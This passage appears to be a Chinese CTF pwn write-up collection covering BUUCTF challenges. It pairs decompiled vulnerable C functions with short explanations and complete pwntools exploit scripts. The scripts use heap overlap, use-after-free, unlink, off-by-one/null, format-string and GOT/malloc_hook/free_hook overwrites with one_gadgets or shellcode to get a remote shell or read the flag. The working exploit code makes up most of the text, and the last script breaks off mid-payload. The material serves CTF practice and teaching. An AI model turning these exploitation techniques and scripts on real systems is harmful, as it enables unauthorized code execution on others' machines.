li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25621)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Your choice:'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size?>', str(size))
r.sendafter('content:', content)

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))
r.sendafter('New content:', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index:', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index:', str(index))

def uaf(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))

add(0, '')
uaf(0)

delete(0)

add(0x10, p64(0)) #0

add(0x10, 'aaaa') #1

show(0)

r.recvuntil('Content: ')
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0
li('heap_base = ' + hex(heap_base))

add(0x440, 'bbbb') #2
add(0x10, 'cccc') #3

delete(2)

edit(0, p64(heap_base + 0x2e0))

show(1)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add(0x440, 'dddd')

add(0, '')
uaf(4)
delete(4)
add(0x10, p64(free_hook))
add(0x10, p64(one_gadget))

delete(3)

r.interactive()

suctf2018_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void creat()
{
int i; // [rsp+8h] [rbp-18h]
int size; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
void *s; // [rsp+18h] [rbp-8h]

if ( total > 19 )
puts("tai duo le");
puts("input len");
size = getnum();
if ( size > 127 && size <= 256 )
{
ptr = malloc(size);
s = malloc(size);
memset(s, 0, size);
memset(ptr, 0, size);
puts("input your data");
read(0, ptr, (unsigned int)size);
strcpy((char *)s, (const char *)ptr);
++total;
for ( i = 0; i < total; ++i )
{
if ( !heap_form[i] )
{
heap_form[i] = (char *)s;
break;
}
}
if ( i == total )
heap_form[i] = (char *)s;
free(ptr);
}
else
{
puts("no no no");
}
}

这题挺有意思的,如果read不输入\x00结束,则后一个字节也会被算入,那就是如果输入的值填满ptr,那么strcpy之后会把ptr下一个chunk的size位给覆盖掉,会覆盖成ptr的size大小

1
2
3
4
5
6
7
8
9
10
11
12
13
int edit()
{
size_t size; // rax
int index; // [rsp+Ch] [rbp-4h]

puts("input id");
index = getnum();
if ( index < 0 || total - 1 < index )
return puts("no no no");
puts("input your data");
size = strlen(heap_form[index]);
return read(0, heap_form[index], size);
}

那么在edit功能中size的大小就会多上一个,此时可以控制下一个chunk的size

攻击思路很明显,利用此漏洞进行堆重叠,控制heap_form,从而可以控制堆块的地址,从而可以泄露出libc和任意地址写

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './offbyone'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29586)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = '4:edit\n'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('input len', str(size))
r.sendafter('input your data', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('input id', str(index))

def edit(index, content):
r.sendlineafter(menu, '4')
r.sendlineafter('input id', str(index))
r.sendafter('input your data', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('input id', str(index))

add(0x88, 'a' * 0x88)
add(0x88, 'b' * 0x88)
add(0x88, 'c' * 0x88)

edit(0, 'a' * 0x88 + '\xd1')

p1 = p64(0) * 7 + p64(0x51)
edit(2, p1)

delete(2)
delete(1)

p2 = p64(0) * 17 + p64(0x91) + p64(0x6020C0)
add(0xc0, p2)

puts_got = elf.got['puts']

add(0x80, p64(puts_got))

show(0)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))

libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']

one = [0x4f2c5, 0x4f322, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a38c, 0x10a398]
one_gadget = one[7] + libc_base

free_got = elf.got['free']

edit(1, p64(free_got))
edit(0, p64(one_gadget))

r.interactive()

qctf_2018_noleak

1
2
3
4
5
6
7
8
9
void delete()
{
unsigned int index; // [rsp+Ch] [rbp-4h]

my_write("Index: ", 7LL);
index = read_input();
if ( index <= 9 )
free(buf[index]); // uaf
}

漏洞点一个uaf,保护机制没有PIE并且有执行权限,没有show功能

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x3fe000)
RWX: Has RWX segments

所以利用思路比较清晰,利用double free将fd连到unsorted bin那里,借助unsorted bin改低字节到malloc_hook那里(先不用改到malloc_hook上),接下来打fd到存放堆地址的buf那里,这样就可以任意地址写了,在buf上写入shellcode然后控制hook为shellcode地址,最后触发即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './QCTF_2018_NoLeak'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26180)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Your choice :'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))
r.sendafter('Data: ', content)

def edit(index, size, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Data: ', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))

add(0x10, 'cccc')
add(0x420, 'aaaa')
add(0x10, 'bbbb')
add(0x60, 'dddd')
delete(1)
delete(0)
delete(0)

edit(0, 0x8, b'\x80')

add(0x420, '\x40')

add(0x10, 'aaaa')
add(0x10, 'aaaa')
heap_ptr = 0x601040
add(0x10, p64(heap_ptr))

delete(3)
edit(3, 0x60, p64(heap_ptr))
add(0x60, 'aaa')
add(0x60, p64(heap_ptr))

shellcode = asm(shellcraft.sh())

edit(0, 0x60, shellcode + p64(0) + b'\x30')
edit(7, 8, p64(heap_ptr))

r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(0x90))

r.interactive()

jarvisoj_guess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl is_flag_correct(char *flag_hex)
{
unsigned int v1; // eax
char given_flag[50]; // [rsp+10h] [rbp-190h] BYREF
char flag[50]; // [rsp+50h] [rbp-150h] BYREF
char bin_by_hex[256]; // [rsp+90h] [rbp-110h] BYREF
char value2; // [rsp+192h] [rbp-Eh]
char value1; // [rsp+193h] [rbp-Dh]
int index; // [rsp+194h] [rbp-Ch]
char diff; // [rsp+19Bh] [rbp-5h]
int i; // [rsp+19Ch] [rbp-4h]

if ( strlen(flag_hex) != 100 )
{
v1 = strlen(flag_hex);
printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
exit(0);
}
qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
bzero(given_flag, 0x32uLL);
for ( i = 0; i <= 49; ++i )
{
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
if ( value1 == -1 || value2 == -1 )
{
puts("bad input – one of the characters you supplied was not a valid hex character!");
exit(0);
}
given_flag[i] = value2 | (16 * value1);
}
diff = 0;
for ( index = 0; index <= 49; ++index )
diff |= flag[index] ^ given_flag[index];
return diff == 0;
}

这一题需要获得远程的flag,本地用ida打开之后是FAKE这个flag,远程的flag不一样

这题的意思就是输入正确的flag(格式是flag的16进制数),在本地测的时候输入46414b457b39623335356533393464323037306562643064663139356438623233343530396363323932373262633431327d这个即可正确

格式是由given_flag[i] = value2 | (16 * value1);这个控制,如果value1和value2正常的话是这样的,F的16进制是46,value1就是4,value2就是6,4 * 16 | 6 = 70,F的10进制是70,所以最后flag[index] ^ given_flag[index];就相等正确

但是远程不知道flag,仔细看一下程序就可以发现value1 = bin_by_hex[flag_hex[2 * i]];这个地方的index是char类型,如果flag_hex里的东西超过127会发生oob,而bin_by_hex上面就是flag,所以可以将given_flag给变成flag

当value1为0的时候,只需要value2大于192即可使得flag[index] ^ given_flag[index];正确,这样子的话我们就伪造了一个不是flag但却正确的数据,那我们只需要依次改里面的一个字节来爆破出远程正确的flag

此时我们单字节爆破即可爆破出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from time import *

#context(arch='amd64', os='linux', log_level='debug')

file_name = './guess'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25800)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = ''
for i in range(50):
p1 += '0' + chr(192 + i)

r.sendlineafter('guess> ', p1)

flag = 'flag : flag'
for i in range(5, 51):
for j in range(32, 128):
p2 = p1[0:i * 2 - 2] + hex(j)[2:] + p1[i * 2:]
r.sendlineafter('guess> ', p2)
result = r.recvline()
if b'Yaaaay' in result:
flag += chr(j)
li(str(flag))
break

li(str(flag))

r.interactive()

pwnable_bf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx

result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}

第三次做brainfuck了,oob,没有开got保护,直接打got表,先泄露出libc,然后打memset为ogg,然后控制putchar的got为main_addr,这样最后.的时候再次运行程序,会调用memset来getshell

打.fini发现会失败,也不知道是什么情况,所以就打memset了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './bf'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27311)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

'''
p1 = b'<' * (93 + 4)
p1 += b',' * 4
p1 += b'['
'''

p1 = b'.' + b'<' * 0x70
p1 += b'.>.>.>.>'
p1 += b'<' * (4 + 4)
p1 += b',>,>,>,>'
p1 += b',>,>,>,>.'

r.sendlineafter('type some brainfuck instructions except [ ]', p1)

putchar_addr = u32(r.recvuntil('\xf7')[-4:])
li('putchar_addr = ' + hex(putchar_addr))

libc = ELF('libc-2.23.so')
libc_base = putchar_addr - libc.sym['putchar']
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))

gets_addr = libc_base + libc.sym['gets']
li('gets_addr = ' + hex(gets_addr))

#one = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
one = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
one_gadget = one[2] + libc_base
main_addr = 0x8048671

r.send(p32(one_gadget))

r.send(p32(main_addr))

r.interactive()

cscctf_2019_qual_signal

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+10h] [rbp-100h] BYREF

init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}

这个题有意思,学到了

只有一个read,所以正常ret2libc不行,有一个gadget是add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret这样的,如果控制了rbx和rbp那我们就可以在任意地址中写值,那么控制rbp和rbx就在csu那里,而且可以控制r12和r14为0,符合一个gadget的条件

这一题把rbp改成read_got + 0x3d,这样的话执行了magic_gadget之后read_got = rbx + read_got,算一下read_got到one_gadget的距离,然后直接把rbx改成那个值,这样read_got就会被改成one_gadget,最后触发read_plt即可触发one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './cscctf_2019_qual_signal'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28359)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

# add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
magic_gadget = 0x0000000000400618

csu_gadget = 0x40074A
'''
.text:000000000040074A 5B pop rbx
.text:000000000040074B 5D pop rbp
.text:000000000040074C 41 5C pop r12
.text:000000000040074E 41 5D pop r13
.text:0000000000400750 41 5E pop r14
.text:0000000000400752 41 5F pop r15
.text:0000000000400754 C3 retn
'''

read_got = elf.got['read']
read_plt = elf.plt['read']
one = 0xe569f

p1 = b'a' * (0x100 + 8)
p1 += p64(csu_gadget)
p1 += p64(0xfffffffffffd562f) #rbx
p1 += p64(read_got + 0x3d) #rbp
p1 += p64(0) * 4
p1 += p64(magic_gadget)
p1 += p64(read_plt)
r.send(p1)

r.interactive()

qwb2019_one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall edit(__int64 a1, __int64 a2)
{
signed int index; // [rsp+4h] [rbp-1Ch]
char *v4; // [rsp+8h] [rbp-18h]
char v5[2]; // [rsp+16h] [rbp-Ah] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("Please give me the index of the string:");
index = read_input("Please give me the index of the string:", a2);
if ( (unsigned int)index <= 0x13 && *((_QWORD *)heap_ptr + index) )
{
puts("Which char do you want to edit:");
sub_D34(v5, 2LL);
v4 = strchr(*((const char **)heap_ptr + index), v5[0]);
if ( v4 )
{
puts("What do you want to edit it into:");
*v4 = getchar();
getchar();
puts("Success!");
}
else
{
puts("Sorry, I can't find it!");
}
}
else
{
puts("Sorry~");
}
return __readfsqword(0x28u) ^ v6;
}

这一题出得很妙,学到了,首先是上面的strchr这个函数,这个strchr如果是字符串最后一个\x00也是可以被替换的,那么就可以进行堆溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall bd(__int64 a1, __int64 a2)
{
int result; // eax
char v3; // [rsp+Bh] [rbp-5h]
int num; // [rsp+Ch] [rbp-4h]

result = unk_203010;
if ( unk_203010 )
{
puts("\nIf you don't know what to test, here are some strings to choose from.");
puts("Do you want to use one?(Y/N)");
v3 = getchar();
getchar();
if ( v3 == 'Y' )
{
unk_203010 = 0;
puts("Here are 5 strings to be tested. Which one do you want to test?");
num = (int)abs32(read_input()) % 5;
if ( num > 4 )
{
return puts("It seems that you don't want to use these strings.");
}
else
{
puts("The string:");
return puts((const char *)heap_ptr[num + 4]);
}
}
else
{
return puts("Bye~");
}
}
return result;
}

还有一个漏洞点在上面(int)abs32(read_input()) % 5;int型0x80000000进行abs32运算之后还是0x80000000,但是会变成负的,这个结果%5=-3,所以在下面的puts中-3 + 4 = 1,所以puts(heap_ptr[1]),这个heap_ptr[1]是什么呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ssize_t sub_BCB()
{
ssize_t result; // rax
int i; // [rsp+0h] [rbp-20h]
int v2; // [rsp+4h] [rbp-1Ch]
int fd; // [rsp+8h] [rbp-18h]

v2 = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
signal(14, handler);
heap_ptr[0] = &unk_2030C0;
heap_ptr[1] = heap_ptr;
result = open("/dev/urandom", 0);
fd = result;
for ( i = 0; i <= 4; ++i )
{
heap_ptr[i + 4] = calloc(0x20uLL, 1uLL);
if ( !v2 )
{
unk_203040 = heap_ptr[i + 4];
qword_203160 = unk_203040 + 1520LL;
v2 = 1;
}
result = read(fd, heap_ptr[i + 4], 0x20uLL);
}
return result;
}

其实在第一个函数中已经写过了,heap_ptr[1] = heap_ptr, 那就会输出这个地址,有了这个地址之后就可以算出程序基址

有了code_base并且可以堆溢出,其实攻击思路有很多种,这里选择unlink,中edit的时候发现会卡住,只需要在edit中间加个\n就可以过了,\x00的edit是最简单的,所以有很多地方明明可以直接edit去任意地址修改,但还是会换成有\x00的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './one'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28806)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'command>> '

def add(content):
r.sendlineafter(menu, '1')
r.sendlineafter('Now, you can input your test string:', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Please give me the index of the string:', str(index))

def edit(index, want, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Please give me the index of the string:', str(index))
r.sendafter('Which char do you want to edit:', want)
r.sendlineafter('What do you want to edit it into:', content)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Please give me the index of the string:', str(index))

r.sendlineafter(menu, '12580')
r.sendlineafter('Do you want to use one?(Y/N)', 'Y')
r.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?\n', str(0x80000000))

r.recvuntil('The string:\n')
heap_ptr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_ptr = ' + hex(heap_ptr))

code_base = heap_ptr - 0x2030c0
li('code_base = ' + hex(code_base))

p1 = ''
for i in range(0x20):
p1 += chr(ord('A') + i)

add(p1)
add('a' * 0x20)
add('a' * 0x20)

for i in range(0x10):
edit(0, '\x00', 'a')

for i in range(8):
edit(0, '\x00', chr(ord('b') + i))

edit(0, '\x00', '\x04')
edit(0, 'A\n', '\x44')
edit(0, 'A\n', '\x40')
edit(0, '\x44\n', '\x41')

for i in range(7):
edit(0, chr(ord('i') - i) + '\n', '\x00')

edit(0, 'b\n', '\x30')

fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
fake_chunk = fake_chunk[::-1]

for i in range(0x1f):
edit(0, chr(ord('`') - i) + '\n', chr(fake_chunk[i]))

edit(0, 'A\n', '\x00')
for i in range(0xF + 1):
add('c' * 0x20)

delete(1)

for i in range(0x18):
edit(0, '\x00', 'a')

edit(0, '\xa8\n', '\xc8')

free_got = elf.got['free'] + code_base

for i in range(6):
edit(0, '\x00', p8((free_got >> (8 * i)) & 0xFF))

show(1)
free_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('free_addr = ' + hex(free_addr))

libc = ELF('./2.27/libc-2.27.so')

libc_base = free_addr - libc.sym['free']
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

for i in range(6):
edit(0, p8((free_got >> (8 * i)) & 0xFF) + b'\n', p8((free_hook >> (8 * i)) & 0xFF))

for i in range(6):
edit(1, '\x00', p8((one_gadget >> (8 * i)) & 0xFF))

delete(3)

r.interactive()

0ctf2017_easiestprintf

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int do_read()
{
_DWORD *v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
v1 = 0;
puts("Which address you wanna read:");
_isoc99_scanf("%u", &v1);
printf("%#x\n", *v1);
return __readgsdword(0x14u) ^ v2;
}

do_read可以泄露出libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __noreturn leave()
{
int i; // [esp+8h] [ebp-B0h]
char s[160]; // [esp+Ch] [ebp-ACh] BYREF
unsigned int v2; // [esp+ACh] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
puts("Good Bye");
for ( i = 0; i <= 158; ++i )
{
if ( read(0, &s[i], 1u) != 1 )
exit(-1);
if ( s[i] == 10 )
break;
}
printf(s);
exit(0);
}

这里有格式化,但是保护了got表,不能利用exit_got,这里有一个点就是printf输出的字符过多的时候,会调用malloc来处理

如果控制了malloc_hook为ogg就可以getshell了,具体的看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    if (width >= WORK_BUFFER_SIZE - 32)
{
/* We have to use a special buffer. The "32" is just a safe
bet for all the output which is not counted in the width. */
size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
if (__libc_use_alloca (needed))
workend = (CHAR_T *) alloca (needed) + width + 32;
else
{
workstart = (CHAR_T *) malloc (needed);
if (workstart == NULL)
{
done = -1;
goto all_done;
}
workend = workstart + width + 32;
}
}
1
2
3
4
extern inline int __libc_use_alloca (size_t size)
{
return size <= __MAX_ALLOCA_CUTOFF;
}

needed要大于__MAX_ALLOCA_CUTOFF,然后就可以到下面的malloc了,所以先利用fmt改malloc_hook,然后在后面加%99999999c,肯定比__MAX_ALLOCA_CUTOFF大,所以就可以成功调用malloc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from time import *

context(arch='i386', os='linux', log_level='debug')

file_name = './EasiestPrintf'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27051)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

puts_got = elf.got['puts']
r.sendlineafter('Which address you wanna read:', str(puts_got))

r.recvuntil('0x')

puts_addr = int(r.recv(8), 16)
li('puts_addr = ' + hex(puts_addr))

libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))
#one = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
#one = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x3ac9c, 0x3ac9d, 0x5fbd5, 0x5fbd6]
one = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
one_gadget = one[2] + libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']

offest = 7
p1 = fmtstr_payload(offest, {malloc_hook : one_gadget}) + b"%99999999c"
r.sendlineafter('Good Bye\n', p1)
#dbg()

r.interactive()

ycb_2020_easy_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall edit(__int64 a1, __int64 a2)
{
_BYTE *v2; // rbx
unsigned int index; // [rsp+Ch] [rbp-14h]

printf("Index: ");
index = read_input("Index: ", a2);
if ( index > 0xFF || !heap_ptr[index] )
return puts("Don not exist!");
puts("Content: ");
v2 = heap_ptr[index];
v2[(int)read(0, v2, (unsigned int)size_ptr[index])] = 0;
return puts("[+]Done!");
}

edit这里有一个off-by-null,这一题就是2.31的off-by-null,板子题,之前没做过2.31的off-by-null,直接拿的网上的板子一套,然后orw即可

这里学到了一个execveat拿shell,使用bash的一些内置命令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ycb_2020_easy_heap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29210)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice:'

def add(size):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendafter('Content: ', content)

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

add(0x410) # 0
add(0x20) # 1
add(0x20) # 2
add(0x4f0) # 3
add(0x10) # 4
add(0x20) # 5

delete(0)
add(0x410)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./libc-2.30.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

delete(1)
delete(2)
add(0x28)

show(1)

r.recvuntil('Content: ')
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x6c0
li('heap_base = ' + hex(heap_base))

add(0x28) #2

edit(1, p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50))
edit(2, p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10))

delete(3)
add(0x100)
edit(3, p64(0) * 3 + p64(0x31))

delete(5)
delete(1)

edit(3, p64(0) * 3 + p64(0x31) + p64(free_hook))

add(0x20)
add(0x20)

gadget = 0x0000000000154b90 + libc_base

edit(5, p64(gadget))

heap_first = heap_base + 0x290 + 0x10

setcontext = libc.sym['setcontext'] + 61 + libc_base
mprotect_addr = libc.sym['mprotect'] + libc_base

#shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
shellcode = shellcraft.open('./flag', 0)
shellcode += shellcraft.read(3, heap_first + 0x200, 0x100)
shellcode += shellcraft.write(1, heap_first + 0x200, 0x100)
shellcode = asm(shellcode)

p1 = p64(heap_first + 0x100) + p64(heap_first)
p1 = p1.ljust(0x20, b'\x00') + p64(setcontext)
p1 = p1.ljust(0x68, b'\x00') + p64(heap_base)
p1 = p1.ljust(0x70, b'\x00') + p64(0x4000)
p1 = p1.ljust(0x88, b'\x00') + p64(7)
p1 = p1.ljust(0xa0, b'\x00') + p64(heap_first)
p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr)
